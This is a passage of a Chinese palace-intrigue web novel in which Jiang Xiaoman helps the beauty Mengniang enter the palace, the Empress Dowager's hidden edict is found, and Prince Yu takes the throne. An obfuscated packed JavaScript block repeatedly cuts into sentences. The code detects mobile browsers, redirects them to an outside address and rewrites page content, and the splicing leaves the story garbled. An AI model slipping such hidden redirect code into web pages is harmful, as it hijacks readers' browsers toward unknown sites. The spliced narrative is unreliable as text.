十月怀胎，琥珀生下了明家所谓的重长孙：明玄礼。 明玄礼满月这日，姜小满却是探头探脑地在等一位名叫梦娘的绝世美人。 据昨日秘闻信息，这个名叫梦娘的美人今日会女扮男装去陆云起府上，只为求陆云起给她一个入宫的机会。 这个机会姜小满也能给，千万不能便宜了陆云起那厮！ 自景王登基以来，官员们都忙着搜罗各式美人以献君王，只要美人献得好，前程定然少不了！ 前些日子，陆云起已然献了位美人进宫，皇帝一高兴便将其升为了户部右侍郎，想来这梦娘定然也是打听到此事，所以才准备去陆府试上一试。 在姜小满探头探脑间，忽见一俊脸儿的穷书生在陆宅旁迟疑，那书生虽说穿了打补丁的长衫，脸上还长了黑痣，但身材娇小，五官精致，想来就是姜小满要等的人了！ “这位郎君，有事吗？”姜小满热情道。 那书生清了清嗓子道，“敢问夫人，这可是陆侍郎陆大人的宅院？” “哦，陆大人几日前搬走了，今日我家有喜，郎君不若进来歇歇脚喝杯喜茶？”陆云起的确搬走了，成为了三品的侍郎总不能还住这小宅院吧！但只要这姑娘稍加打听便能找到陆府何在，于是姜小满紧着先将人请进来。 “那就多谢了！”梦娘从京郊的道观走到这里的确是累坏了，急需歇歇脚。 姜小满将人邀请至里屋道，“我是翰林院侍读明大人的家眷，敢问这位娘子如何称呼？” “这位夫人，你怎得瞧出来我是女，女子的——”梦娘吃惊道。 “小娘子你身材玲珑，虽说已尽力掩饰，但这不还是被我一眼瞧出来了？”其实那梦娘的男装已是做得很到位，姜小满不过是凭着秘闻的信息猜测而已，谁知一猜一个准，这书生果真是女扮男装。 “梦娘见过明夫人！”梦娘此刻觉得自己乔装的本事还是差了些，这刚刚下山便让人瞧出来了，若是执意去找那陆云起陆大人怕是不安全，幸而遇到的这户人家也是官宦之家，就是不知道能不能帮她入宫？ “原来你叫梦娘啊——”姜小满很兴奋，这不就对上了吗？女扮男装的梦娘！ 这么个美人儿若是出了这个宅院，怕是会被那些官员抢破头，姜小满必须将她留住，因为这梦娘便是救孙元娘母女的药！ 姜小满前几日收到秘闻：【鹿太后以折磨冷宫中的季贵妃为乐，已对其动了杀心。】 想来自新帝继位后，孙元娘的日子定然不好过！倘若孙元娘能将这梦娘献给皇帝，说不定能换来她们母女的一线生机。 最重要的是据秘闻信息，这位名叫梦娘的姑娘本就是费尽心力要入宫的，姜小满虽不知其为何执意要入宫，但眼下两人的需求却是契合得很，各取所需嘛！ 待喝了几盏茶，姜小满试探道：“梦娘，你寻那陆大人有事吗？” 梦娘：“哦，我是他家远房表妹，特来投奔的，呵呵——” “哦？巧了，我家与陆大人家就是表亲！你是我家哪门的表亲啊？”姜小满故作惊喜状，大家都是表亲，说出来肯定都认识的。 那梦娘却是眼见地慌了，她没想到随口胡诌一个表亲，竟然遇到了真表亲。 眼见着编不下去了，且她本来也是为着入宫而来的，于是坦诚道，“明夫人见谅，我并不认识陆大人，只是想寻一个机会，听闻陆大人能推荐女子入宫而已——” “这有什么的？凭借梦娘子你的容貌想进宫**乃是人之常情，只是陆大人前些日子引荐的那位美人好似触怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705159|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了陛下，陆大人怕是暂且不会再荐女子入宫了——”姜小满故意道。 梦娘眼中流露出一些失望，半晌道，“那夫人可有办法让我见见陛下？” 我家相公官职低微怕是不行，但我与当朝公主倒是颇有些交情！ 最终，姜小满决定让梦娘先在自己家中小住几日，待皇帝狩猎那日便带她引荐公主，再由公主献给陛下。 梦娘颇觉自己幸运，一下山便寻到了与公主相熟的夫人。 接下来的几日，梦娘依旧女扮男装住在明宅，以待时机。 然此刻，久寻小满不见的明澈却是进屋寻人了。 “娘子？——这位是？”明澈进屋便看到一位俊俏的郎君坐在自己的屋内。 “哦，相公，这位是我的远房表弟！他要在我们家小住几日！”姜小满介绍道。 那梦娘也适时拱手道，“见过明大人！” 表弟？明澈从未听说过姜家还有什么表亲？本想反问几句，却听得小满道，“我表弟就暂且住在我们隔壁的屋子，你先——先回来吧！” 姜小满隔壁的屋子本事小满娘住的，小满娘搬走后便由明澈住了将近大半年。 自琥珀有孕后，姜小满便将“脏了”的明澈赶去外边，明澈在琥珀房间煎熬了一晚，又在明三头房间借住了几日，最终落脚在了小满娘之前的房间。 同小满分居的一年间，明澈找了无数次机会想回到自己房间，奈何小满嫌他“脏”，况且明妈妈孝期未过，明澈也觉得还是分开住好一些。 现下明妈妈孝期已过，明澈正愁没个好借口回去，这借口居然就来了？ 明澈：“好，一切都由娘子做主——” 夜里，梦娘安顿在了隔壁，明澈则带着激动的心回到了他与小满的房间。 “娘子，这孩子都满月了，我们？”明澈说着便将身子挪了挪靠近了些。 不说孩子还好，一说孩子姜小满便在脑海里将明澈与琥珀在一起的画面又过了一遍道，“离我远点！” 第166章 喜当爹 同明澈住一起实在是无奈之举，不然梦娘便无处可住。 这一年来，姜小满觉得同明澈这样生活倒也不错，不用想着在一起也不用想着分开—— 姜小满想的最多的是羽王，是怎样助力羽王夺嫡，但羽王好似并没有那个想法？愁人啊，姜小满颇有一种KPI完不成的焦虑感。 但是，好不容易才回到小满身边的明澈怎能就此作罢？ “娘子，孝期已满，我们也要尽快有自己的孩子啊——”明澈说着便覆了上来，都一年了，再大的气儿也该消了吧。 姜小满已许久未同明澈离得这样近，听着明澈的喘息，感受到他身体的变化，心中也颇有一丝悸动，但转念间琥珀的身影便在自己眼前晃动—— “下去——”姜小满将脸扭到旁侧，她怕自己会心软。 明澈喉结滚动，闷声道，“娘子，你赶不走我的——” 炙热的唇落了下来，姜小满挣扎几番道，“我自是比不过你，但你也不能如此欺我——” 就差一点儿了，明澈死死困着小满，今晚无论她怎样赶他，他都不能再上当，“娘子，想你！” 情到浓时，姜小满觉得自己再坚持下去已然没有意义。 明澈感受到小满忽得泄了气，似有任他摆布之嫌，心下大动正要大展拳脚之际，门口琥珀道，“老爷，夫人，礼哥儿好像是想念爹娘了，一个劲儿地哭——” 姜小满一时没反应过来，爹娘是谁？怔了一瞬方反应过来，她姜小满便是那孩儿名义上的嫡母。 “下来吧，你儿子叫你呢！”姜小满忽然觉得那孩子来得正好。 “你且回去，我稍后过去！”好容易快要破冰，明澈不想前功尽弃。 那琥珀听着明澈的声音似有隐忍，心中已是明白了七八分，她决定不走了。 随着琥珀在自己亲儿的胖腿上一掐，那明玄礼便扯着嗓子嚎哭了起来，“老爷、夫人，奴婢实在是哄不住——” 明澈以一个颇为尴尬的姿势僵持了一阵儿，听着门外孩子的哭声终是败下阵来。 琥珀：“礼哥儿，想爹娘了是吧？” 随着门吱呀一声打开，琥珀便趁势将孩子送了进去。 在进入房门的那一瞬，琥珀伸长了脖子想要一探究竟，瞧着屋内一派靡靡之气，心中升起了一股妒意—— 夜里，离了亲娘的明玄礼不断地哭闹，小满不耐烦道，“能不能管好你儿子！” 明澈只得抱了孩子在屋里走来走去。 姜小满望着走来走去的明澈，忽得想到在带着丢失的宋允琛回京时，有一日明澈便是这样抱着孩子走来走去，那时候的明澈温情道，“娘子，等我们有了孩儿，我夜里定然也会看孩子的，定然不让你一个人受累——” 现在倒好，明澈有孩子了，但不是和她的！ 思及此处，姜小满委屈地眼泪止不住流了下来—— 直闹到二更，那明玄礼依旧不停歇。 姜小满爬起一把抱过孩子道，“他饿了，找他亲娘去！” 姜小满决定将孩子还给琥珀，凭什么她睡大觉，却让自己帮她看孩子？ “咚咚咚——” 琥珀开门。 “抱着！自己哄——”姜小满很困了，不想再费心客套。 跟在身后的明澈以为孩子还回去他便能随小满回去了，谁知冷不防被人踹了一脚，一个踉跄便进了西厢房内。 “你是他爹，一起哄！”倘若留下明澈，那琥珀定然还要再敲门的，姜小满只想睡个好觉。 琥珀见状露出一脸的笑，趁势便将明澈拉了进去道，“老爷帮着哄哄——” 明澈一脸无辜，心道，“娘子竟然一脚将我踹入别的女人房间，这是又不要我了吗？” 这一晚，小满睡得很好。 在亲娘身边的明玄礼睡得很好，但明澈睡得不好。 准确地说是和衣半坐了一夜，他怕自己再有些不妥之处真就永远都进不了小满的房！ ...... 几日后，皇家狩猎如约而至。 姜小满同梦娘作为羽王妃的随行一同进入了猎场。 “臣妇见过公主！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709951|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”姜小满终于在猎场寻到了孙元娘，随即找了时机去拜见。 今日猎场中官眷颇多，孙元娘打听到明澈的夫人入了猎场，亦在忙着寻找。 “小—明夫人，你也来了—”孙元娘示意身边的宫女她要去更衣，也就是上厕所。 小满会意便带着梦娘直奔暖阁。 “小满，我娘要**——”孙元娘呜呜哭着，诉说着新帝登基以来冷宫里季贵妃的惨状，“我娘如今身子一日不如一日，浑身没一块好皮，那鹿太后之前便与我娘不睦，现下是要将我娘一日日折磨致死啊——” 孙元娘曾发誓要做大顺最受宠的公主，早日将她娘接出来，但她只做到了一半。 在先帝驾崩前，孙元娘已然做到了大顺最受宠的公主。 那时先帝患疾，起了疹子，痛痒难耐，妃嫔公主轮流伺疾。 孙元娘本就温柔耐心，在承恩侯府时便是以细致体贴才入选了蘅泽苑，同那一众养尊处优的娘娘公主比起来，自然是照顾得最是妥帖。 除此之外，孙元娘第一次如此近距离接触先帝，颇为感慨自己终于能像所有的普通女孩儿一般同亲爹在一起了。在孙元娘看来，侍奉先帝不是劳累，而是天伦。 几日下来，先帝颇觉这个女儿最为细致体贴，于是便只留了孙元娘照顾。 看着衣不解带事必躬亲的孙元娘，先帝颇觉这个女儿除了是季贵妃所出倒也没什么错处，不由得心软起来，便也同孙元娘亲近了不少。 然天不遂人愿，孙元娘刚刚成为大顺最受宠的公主不久，宠爱她的人便驾鹤西去了。 “元娘，我带了一人来或许能够帮到你！”姜小满将与梦娘的相遇说与孙元娘听。 孙元娘大为惊喜，她娘许是有救了，但是用一个无辜的少女去救她娘这合适吗？ “小满，那位娘子她自己可愿意？宫里的美人数不胜数，待开败了便会被人肆意践踏——”孙元娘忧心道。 这些日子她见多了宫里的妃嫔互相倾轧，更可怕的是她那位皇弟压根儿就不把这些无根无底的美人儿当人来待。 第167章 梦妃 “公主不妨找她亲自来问——”姜小满将门外的梦娘唤了进来。 “民女梦娘见过公主！” 那梦娘盈盈一拜，眸光莹润，肌肤似雪，美得让人挪不开眼，只是脸上豆大的黑痣可谓美玉中的一抹瑕疵。 “梦娘，你为何想入宫？”孙元娘思虑着梦娘脸上的那颗黑痣，犹疑着梦娘若是入宫，在一众美人之中是否有把握获宠。 梦娘：“禀公主，梦娘出生贫苦，但容貌姣好，若不入宫只怕会身不由己堕入风尘，民女觉得入宫求个荣华当是最好的选择——” 那梦娘说话间已然用帕子沾了水拂去脸上的黑痣，惊世容光便就此显现！ 姜小满之前便见识过梦娘的美貌，现下孙元娘却是看呆了，这女子堪称是美玉无瑕。 孙元娘又问了几句便将自己备用的衣饰赠与梦娘道，“那就劳烦梦娘子替我分忧——” 三人相携走出暖阁，狩猎已然开始了。 孙元娘本是想等皇帝休憩之时再引梦娘去见，谁知甫一到猎场便听到皇帝正与群臣爽朗大笑，好似发现了什么有趣的猎物。 “陛下，好肥的一只鹿！” “陛下，那鹿怀有身孕，怕是一只即将生产的母鹿——” 狩猎之时若遇到即将临产的猎物照理该是放其一马，然皇帝却是来了兴致，“将它抓起来，要活的！朕倒要看看这鹿的肚子里是一只雌鹿还是雄鹿——” 侍卫很快便将母鹿拴了起来送到了皇帝面前。 “臣妾觉得这母鹿肚子里是只雌的——” “雄的——” 皇帝身边的美人和百官都在察言观色般哄其高兴。 “来人，剖腹！”皇帝赌性大发，承诺若是雌鹿便赏身边的美人，若是雄鹿便赏身边的官员。 姜小满瞧着皇帝身边之人的嘴脸将脸扭了过去，她不忍看下去，却又无能无力。 那鹿似乎也觉察到了危险，声声哀鸣着好似在求那暴戾的帝王放过它的孩子。 那侍卫举起屠刀正要生剖鹿腹之际，梦娘却是含泪蹿了出去伏在了鹿的身上。 “大胆，你是哪家的闺秀，竟敢扫了陛下的兴！”有狗腿子官员怒斥。 梦娘回首，泪眼婆娑地抬起头道，“奴婢斗胆，万物有灵，求陛下放过这只母鹿！” 梦娘入宫是要为姐姐报仇的！ 两年前，梦娘的姐姐雨娘在景王府当差，并且嫁予了景王府的一个小管事为妻。 那日，身怀有孕的雨娘只是因为得罪了景王身边的一个小妾，景王便令人生生剖开姐姐的肚子，嬉笑着让人猜测姐姐肚子里到底是男是女—— 姐姐惨死，一尸两命。 从此，梦娘活着的目的便是复仇，这两年来梦娘日日服用秘药，将身子养得玲珑，就是为着有朝一日让这个畜生付出代价！ 谁知，第一次见到这个畜生便遇到了他要生剖母鹿，这难道不是姐姐的在天之灵吗？ 梦娘泪水涟涟，情难自禁。 这一幕落在皇帝的眼中却是比生剖母鹿有趣多了！ 纵然皇帝见多了美人儿，但像梦娘这般美得令人移不开眼的，他还是头一次见，“好，好，不杀，不杀，美人儿莫哭——” 皇帝甫一走近，梦娘的纤纤玉手便扯了他的袖子道，“陛下，求陛下开恩——” 众目睽睽之下，皇帝下意识去揽梦娘的腰，梦娘站起，一个踉跄，娇软的身子便跌落在皇帝的怀中—— 此后七日，君王未踏出卧房一步。 七日后，梦娘成为梦妃，孙元娘之母季贵妃亦被放出冷宫。 ...... 这日，姜小满收到秘闻：【太后遗旨乃是先承恩侯宋成炀亲手撰写，宋成炀临终前已将太后遗旨告知宋长宗，宋长宗今日欲以此为条件入羽王府投奔。】 原来那道太后遗旨是先承恩侯亲笔写就的，也就是说目前知晓太后遗旨的人除了姜小满，还有宋长宗。 “娘子，你觉得这大顺朝还有救吗？”本应早起去翰林院当值的明澈叹了口气道。 现在满朝文武都争着送美人，早朝已多日未上，各个衙门也清闲得很，明澈索性便告了一日假，赖在床上思考人生。 “没救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709952|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了！现在壮丁都拉去修皇陵、造殿宇了，无人种地，粮食都贵得吃不起了！”姜小满附和道，她早就觉得景王这么闹下去，全天下都得给他陪葬。 “哎——”明澈翻了个身继续道，“我前些日子去弘文阁整理史料，发现有一段史料记载有出入——” “什么啊？”姜小满对明澈整理文档的工作内容并不甚感兴趣。 明澈：“杜太后临终前的一段史料好似被人修改过，其中一本明确记载太后临终前着承恩侯宋成炀写了遗旨，要传位于羽王，然修订本的上面却没有这回事？” 明澈已然推测出杜太后曾有过遗旨，要求先帝临终传位于羽王，但修订过的史料中却是连太后遗旨的蛛丝马迹都没有，应当是先帝不满太后遗旨着人修改过了。 听到太后遗旨的姜小满瞬间来了精神，“若真有太后遗旨就好了，羽王继位百姓会少受些苦！” 姜小满知晓太后遗旨便存于弘文阁的“中正仁和”匾额之后，但不知该如何与明澈直言。 明澈：“是啊，太后向来偏爱幼子！若是有了这封遗旨羽王若是取而代之便也顺理成章了！” 自古以来都讲究一个师出有名，即便新帝暴戾，但若是羽王公然谋夺皇位那也是乱臣贼子，但打着太后遗旨的旗号那就不一样了！ 大顺朝以孝治天下，羽王也是不得已要遵母命嘛！ 因房内没有别人，所以二人说话便放肆了些，谈着谈着明澈更加坚信了有太后遗旨的存在，于是一个激灵决定要去羽王府。 “我也要去，好久没见羽王妃了！”姜小满也要去，今日收到秘闻宋长宗也去羽王府，姜小满想要亲耳听到宋长宗将太后遗旨告知羽王，这样一来便省得她费心解释了。 二人到了羽王府，却见氛围不大对劲。 谢婉之搂着钱谢安哭哭啼啼，羽王则是面如土色。 看到小满和明澈过来，谢婉之将一道圣旨拿了出来。 姜小满看罢怒斥，“这，这陛下莫不是要让王妃和小公子入宫做人质？” 那道旨意是着羽王妃和小公子三日内进宫！ 第168章 ** 皇帝并不知晓钱谢安不是羽王的亲生子，只当是二人早已苟合的结果，因此为了挟制羽王准备将他的老婆孩子带去宫里养。 做人质本就是九死一生，何况是如此暴戾的帝王，倘若二人真的入宫那恐怕就是有去无回了！ 看着羽王铁青着的脸色，明澈上前拱手道，“王爷，为了王妃和小公子，也为了天下黎民，是时候了！” 羽王负手，回眸冷笑一声，“我对他本还有一丝的不忍，如今看来的确是时候了！” 殿内皆是亲信，明澈便将太后遗旨的推测直言出来。 羽**惊，这下算是师出有名了，但太后遗旨在哪里却是谁都不知道。 姜小满只盼着宋长宗能早些入府，今日姜小满就是来等他的。 果不其然，说曹操曹操便到了！ 明澈与姜小满藏于内室，门缝中冷眼瞧着宋长宗的表演。 “见过羽王殿下！”宋长宗一脸殷勤。 自大皇子**，承恩侯府失势后便一直靠着季尘欣的嫁妆在维持，如今新帝登基先大皇子派的旧臣一个个被收拾，宋长宗颇觉很快便要轮到承恩侯府了。 因此，他决定用亲爹临终前告知他的秘密来为承恩侯府的崛起赚得一线生机。 “还有王妃！”羽王淡声道。 宋长宗抬眸便看到羽王旁边那个最熟悉的陌生人！ 那个女人曾经以他为天，后来是自己负了她，但如今她却是高高在上的王妃了！ “见过王妃！”宋长宗拱手行礼。 谢婉之却是端坐上首，好似与宋长宗从未相识一般。 此刻的宋长宗颇为懊悔，他怎么都没想到有朝一日要对着这下堂之人行礼，谁叫他爹临终前告知他的秘密与羽王有关呢？他也没得选啊，真真是天道好轮回！ 羽王示意宋长宗不要废话，可以直入主题了。 宋长宗：“启禀殿下，我承恩侯府世代忠烈，一心为国，家父生前曾备受太后重用——” 羽王：“直接说重点！” 宋长宗：“太后临终前曾着家父撰写过一封遗旨，遗旨中明确写到先帝百年之后要殿下您来继承大统——” 屏风后的姜小满听得宋长宗所言颇为激动，对上了，对上了！这下羽王可以名正言顺地**了，她姜小满后半辈子的任务算是有望了！ 明澈亦是激动地握了握小满的手，好像在说，“我说得没错吧？真的有太后遗旨！” 听了宋长宗之言，本就已然决定要将那昏君拉下马的羽王心下大动，如此一来只要找到那封遗旨，人证物证俱在，事情便成了一半。 “你可知那遗旨现在何处？”羽王问出了最关键的问题。 “不知！但臣用项上人头担保，那遗旨必然存在！倘若找到了遗旨，将上面的笔迹同家父生前的墨宝一对比便一目了然了，届时臣会以承恩侯的名义作证，定为殿下夺得大宝鞠躬尽瘁——”宋长宗侃侃而谈。 羽王的确需要宋长宗这个人，但也着实看这人不爽！ 不用不行，用了又恶心！宋长宗决定在用之前先让他的王妃出出气！ 羽王：“既如此，倘若大事成了，本王定不会亏待于你！” “多谢殿下！”宋长宗磕头行礼。 但羽王半晌未叫其起身，忽然间一稚嫩童声道，“起来呀，爬着作甚？” 宋长宗抬头便见钱谢安定定地瞧着他。 “你，你是琛哥儿——”宋长宗喜出望外，他没想到儿子还活着！ 宋长宗虽多日未见宋允琛，但那孩子的眉眼无甚变化，就是个子长了，也会说话了，还会喊爹，不过那声爹却不是喊他的！ “爹，爹，那人好生奇怪，他瞪我——”钱谢安早已忘记亲爹的模样，如今他只认一个爹，那就是羽王。 羽王亲昵地将钱谢安搂在怀中道，“这是本王的长子，何来什么琛哥儿——” 宋长宗：“是臣失言，是臣的错！” 宋长宗战战兢兢地起身，觉得事儿这就办成了。若将来成了大业，那他宋长宗也算是头功一件，到时候承恩侯府的辉煌定然更胜从前。 “王爷，臣妾觉得此人不可信！”谢婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜小满却是不以为然，她一路跟随谢婉之走来，从谢婉之被害难产差点一尸两命，到泼脏水被休弃，再到亲眼瞧着宋长宗枉顾亲子的性命，桩桩件件都是拜宋长宗所赐。 他的确只配得上**！如今好了，唯一的亲子宋允琛认他人做父，侯府中唯一的儿子又是陆云起与林柳儿的孩子！ 嗯！宋长宗值得拥有！ 第169章 宫变 三日后，谢婉之带着钱谢安入宫。 临行前，羽王软语嘱咐，“王妃莫要害怕，殿前都指挥使会护你周全，待再见时我会亲手将皇后之位奉于娘子。” 既然已经决定夺嫡，那么羽王和谢婉之便兵分两路，羽王负责将皇城内三衙长官，也就是殿前都指挥使、马军都指挥使及步军都指挥使通通收入麾下。 谢婉之则负责同梦妃交好，以确保皇帝能够醉生梦死不理朝政。 但谢婉之入宫后多有不便，于是姜小满便沦为了谢婉之同梦妃交流的桥梁。 姜小满此番是以替梨落公主解闷儿的缘由入宫的，因此同谢婉之相比要自由得多。 “梦妃娘娘，翰林院侍读明澈的夫人求见！” 听到宫人禀报，梦娘开心道，“快请！” 二人见面寒暄几句，姜小满便直入主题，“娘娘入宫以来可曾找到机会？” 几日前姜小满已然在秘闻中得知梦妃是为替姐报仇才入的宫，但入宫以来迟迟寻不到机会。 “什么机会？”梦娘觉得自己好似被姜小满看穿了。 “娘娘你入宫为何，还要瞒我吗？”姜小满说着便将早已杜撰的故事顺溜地倒了出来，“娘娘当真以为我们明家会不调查娘娘入宫的目的便将你送进宫吗？” “皇帝暴戾无德，不但对不住你的姐姐，也对不住天下万民，自然人人得而诛之！” 姜小满说得很明白了，她知道梦娘入宫是为了姐姐报仇，而且也支持她为姐姐报仇。 “明夫人你？你也恨毒了陛下吗？”梦娘不可置信道。 “自然——”姜小满将羽王妃入宫为质，自己要救羽王妃性命等缘由说与梦娘听，临了只一句，“倘若娘娘能将那昏君暂且绊住，三日后娘娘定然可达成所愿。” 报仇只需绊住昏君三日？梦娘决定试试，毕竟她也没有更好的办法。 三日而已，记得刚入宫时她与昏君那生不如死的七日都熬过来了—— “好！”梦娘定定点头，交易达成。 接下来的三日，整个皇城乱做了一团，那昏君却是被梦娘和一众美人缠得死死的。 哪怕有亲信来回话，哪怕听到外面有异动，那昏君都置之不理，因为殿中的活色生香已让他应接不暇。 安顿好了梦妃，姜小满最重要的任务便是找到太后遗旨，那是羽王能够顺利继承大统的关键。 弘文阁内，姜小满亦扮作了随从的摸样同翰林院侍读明澈一道整理文档。 明澈出入弘文阁理所当然，只是多日来依旧未寻到宋长宗所说的那道遗旨。 “就找那个中正仁和的牌匾！”姜小满提醒道。 “娘子，当真是杜太后托梦告诉你的？”明澈难以置信。 小满一大早就对他说昨夜太后托梦，那道遗旨就在弘文阁中正仁和的牌匾后面，明澈虽说对托梦之事将信将疑，但毕竟他娘子身上奇奇怪怪的事情多了去了，有时候由不得他不信。 “是啊，赶紧找！”弘文阁共有八层，里面的文档书籍堆积如山。 来之前，姜小满以为一个牌匾而已，那扫一圈儿不就看到了吗？ 来之后，别说牌匾了，怕是藏个人都发现不了。 二人已然将弘文阁基本翻了个遍，但依旧没有找到“中正仁和”牌匾的影子。 “娘子，这牌匾按理说应当是挂着的，我们已然将所有的牌匾都瞧了一遍，难不成牌匾会藏在书籍文档中不成？”明澈叹了口气坐在地上道。 若是只找牌匾还好些，但要是在堆积如山的文档中找，那猴年马月才找得到啊？等找到的时候黄花菜都凉了！ “是啊！这牌匾算是看过两遍了，也只能从**架、书架等上面一一查看了！”姜小满也很无奈。 二人歇了口气便从头再来，“中、中、中——”明澈口里念着中字妄图能看到以中字开头的牌匾。 心内烦乱的姜小满用手捂了耳朵道，“能把嘴闭上吗？有那么一丢丢的烦！” “哈哈，娘子，你这脸都快要成花猫了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜小满却是想逗上一逗，于是在明澈的怀中动了几下，随即将手探入明澈的亵衣道，“我就想瞧瞧夫君是不是还带了好吃的——” 明澈闷哼一声，炙热的吻便如雨点般落下。 半晌，明澈艰难抬头：“你，你来癸水了？” 小满点头如捣蒜。 深感被欺骗被伤害的明澈点心不吃，米酒不喝，只闷头继续找东西。 姜小满见状笑嘻嘻地将糕点送了上去道，“吃点嘛，吃饱了肚子才能继续干活啊！” 明澈先是怒视了糕点随后又怒视了小满，“我不饿！” “你这人，怎么如此小气——” 二人你推我攘间，小满脖颈里的一个葫芦形金坠子便掉落下来。 “啊——我的坠子！”小满惊慌道。 明澈眼见着那坠子已然掉进了一堆废弃的堆积如山的文稿下，便叹了口气道，“算了，掉进缝隙了！倘若要拿出来便得将上面这些废旧文稿通通搬走才行。” “可是，可是这是娘生前给我的——”姜小满似要哭了出来，她怪自己明知今日要找东西还将明妈妈留给自己的坠子带了出来。 “娘的东西！”明澈二话不说便开始搬那些废旧资料。 姜小满见状也帮着搬了起来—— 当二人挥汗如雨地终于将废旧文档全部挪开，看到那闪闪发光的金色小葫芦时，同时看到那小葫芦下面便是一块废弃的“中正仁和”牌匾。 牌匾之下便是太后遗旨。 姜小满将金葫芦吊坠小心收好，颇为感慨道，“是娘，定然是娘在帮我们！” 东西顺利拿到，明澈将其小心放置在怀中便同小满一道出了弘文阁。 二人方才还怪道这外面怎得乱哄哄的，待出门后方觉外面已然变了天。 到处是执戈披甲的士兵，宫中一派肃杀之气。 ...... 当姜小满与明澈将太后遗旨送至羽王手中后，一干人等便朝着梦妃的梦泽楼而去。 “何人竟敢擅闯？”被扰了兴致的皇帝猛地回头，想看看是何人如此大胆。 羽王：“陛下，玩够了吗？想不想瞧瞧你的王朝如今是何光景？” 几日未见天光的皇帝眯缝着眼睛披了件中衣便踱步而出，然他并未走远就被一干悍将拦了回去。 “你，你——”皇帝瞧着羽王手中的佩剑已然明白大势已去，只是他想不通不过短短几日而已，怎得就换了天日？ 宝剑从剑鞘中泛着寒光而出，年轻的皇帝见状已然惊得六神无主，瞧着那下面淅淅沥沥的动静，羽王将剑收回道，“孬种！” 那梦妃向前一步道，“羽王殿下，可否赏我一个恩典？” “娘娘请讲！” “殿下若亲自动手怕是与殿下的名声不利，不如将人交给我，届时一切都与殿下没有关系——”梦妃恳求道。 羽王点头应允。 梦妃：“关门！” 一个时辰后，丧钟响起，帝王崩。 至于皇帝的死因，由梦妃与殿内十几名美人作证，帝王崩于马上风。 紧接着，王朝又一次迎来巨变。 羽王奉先太后遗旨登基，成为贞义皇帝，封先庆安侯府嫡女谢婉之为皇后。 随着羽王的登基，明澈与姜小满亦跟着风生水起，明澈从一个小小的侍读直接进入了内阁，成为了内阁大学士，正二品。 姜小满亦被敕封为正二品诰命夫人。 然在此番宫变中做出突出贡献的承恩侯宋长宗，却因着与帝后千丝万缕的关系而没有被厚赏，皇帝依旧保留了其侯爵的封号却命令其搬离京城，去往南番。 南番多瘴气，承恩侯宋长宗苦苦表着功劳哀求帝王，那帝王却冷眼道，“皇后不愿在京城再看到你——” 当承恩侯宋长宗灰溜溜地退下后，皇后道，“明大人已是朝中重臣，一家人却还挤在甘露巷的小宅院里，既然承恩侯搬迁，那不如将府邸赏给明大人如何？” 皇帝表示赞同。 明澈想到庆安侯府被抄时那些流离失所的奴仆，便恳求道，“陛下、娘娘，承恩侯府奴仆众多，若跟着承恩侯搬迁未免波折，臣若住了那宅子必然要用些奴仆，不若——” “不若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722308|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就将承恩侯府原班人马打包送予你了！”皇后笑笑道。 明澈当即磕头谢过帝后恩典。 对明澈来说承恩侯府的府邸，以及府中的一干人等都是那么的熟悉，那里有他读书长大的宅院，有他每日出入都会碰到的邻里，还有她与母亲，以及与小满的诸多回忆—— 承恩侯府。 宋家众人在宋长宗的带领下呼啦啦跪了一地。 待黄门宣读了圣旨后，宋家人当即便炸了锅。 